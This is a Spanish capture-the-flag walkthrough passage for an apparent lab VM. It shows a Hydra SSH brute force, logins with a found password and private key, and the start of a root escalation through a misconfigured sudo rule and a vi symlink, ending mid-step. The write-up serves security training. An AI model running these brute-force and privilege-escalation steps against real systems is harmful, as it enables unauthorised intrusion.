Encontramos 2 directorios interesantes: /keys y /secret.
En el directorio http://192.168.112.132:7601/keys vemos que hay
un fichero llamado private...
Lo descargamos, y le damos permisos "600" porque parece ser
una key de ssh.
Hacemos bruteforce(ssh) al usuario seppuku con el diccionario que hemos
encontrado :)
sml@m0nique:~/$ hydra -l seppuku -P psecret.txt 192.168.112.132 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-18
23:26:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 93 login tries (l:1/p:93),
~6 tries per task
[DATA] attacking ssh://192.168.112.132:22/
[22][ssh] host: 192.168.112.132 login: seppuku password: eeyoree
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-18
23:26:43
Encontramos la clave para sepukku, asi que nos logueamos.
Low Shell
sml@m0nique:~/$ ssh seppuku@192.168.112.132 bash
seppuku@192.168.112.132's password:
seppuku@seppuku:~$ id
uid=1000(seppuku) gid=1000(seppuku)
groups=1000(seppuku),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev
),109(netdev)
seppuku@seppuku:~$ sudo -l
Matching Defaults entries for seppuku on seppuku:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User seppuku may run the following commands on seppuku:
(ALL) NOPASSWD: /usr/bin/ln -sf /root/ /tmp/
Vemos que puede ejecutar un comando con "sudo" el cual
linka el directorio root a tmp.
Lo ejecutamos...
seppuku@seppuku:~$ /usr/bin/ln -sf /root/ /tmp/
Seguimos explorando el sistema.
seppuku@seppuku:~$ ls -la
total 28
drwxr-xr-x 3 seppuku seppuku 4096 May 18 16:30 .
drwxr-xr-x 5 root root 4096 May 13 04:50 ..
-rw-r--r-- 1 seppuku seppuku 220 May 13 00:28 .bash_logout
-rw-r--r-- 1 seppuku seppuku 3526 May 13 00:28 .bashrc
drwx------ 3 seppuku seppuku 4096 May 13 10:05 .gnupg
-rw-r--r-- 1 root root 20 May 13 04:47 .passwd
-rw-r--r-- 1 seppuku seppuku 807 May 13 00:28 .profile
seppuku@seppuku:~$ cat .passwd
12345685213456!@!@A
Vemos que el contenido del fichero .passwd posiblemente
sea una password, asi que miramos que usuarios hay en el
sistema para probar.
seppuku@seppuku:~$ su samurai
su samurai
Password: 12345685213456!@!@A
samurai@seppuku:~$ id
uid=1001(samurai) gid=1002(samurai) groups=1002(samurai)
Ahora, como samurai, vemos que podemos hacer...
samurai@seppuku:~$ sudo -l
Matching Defaults entries for samurai on seppuku:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User samurai may run the following commands on seppuku:
(ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
El comando sudo nos deja usar un comando, pero esta dentro
de la home del usuario tanto... Dejamos esta shell abierta como "samurai".
Abrimos una shell nueva y probamos si con la key "private" que hemos
encontrado antes, nos podemos loguear como tanto.
sml@m0nique:~/$ ssh -i private tanto@192.168.112.132
Linux seppuku 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 13 10:53:17 2020 from 192.168.1.48
tanto@seppuku:~$
Privilege Escalation
Bien, estamos dentro.
Vamos a hacer un enlace simbolico de "vi" en /home/tanto/.cgi_bin/bin.
De ese modo, el usuario samurai podra hacer "sudo" y entonces ejecutara
vi para ver el fichero "root.txt" y por otro lado, podremos obtener
una shell de root usando vi para ejecutar "sh".
tanto@seppuku:~$ bash -i
tanto@seppuku:~$ mkdir .cgi_bin
tanto@seppuku:~$ cd .cgi_bin
tanto@seppuku:~/.cgi_bin$ ln -s /bin/vi bin
Ahora que hemos hecho nuestro "trabajo" como "tanto", ejecutamos
como usuario samurai: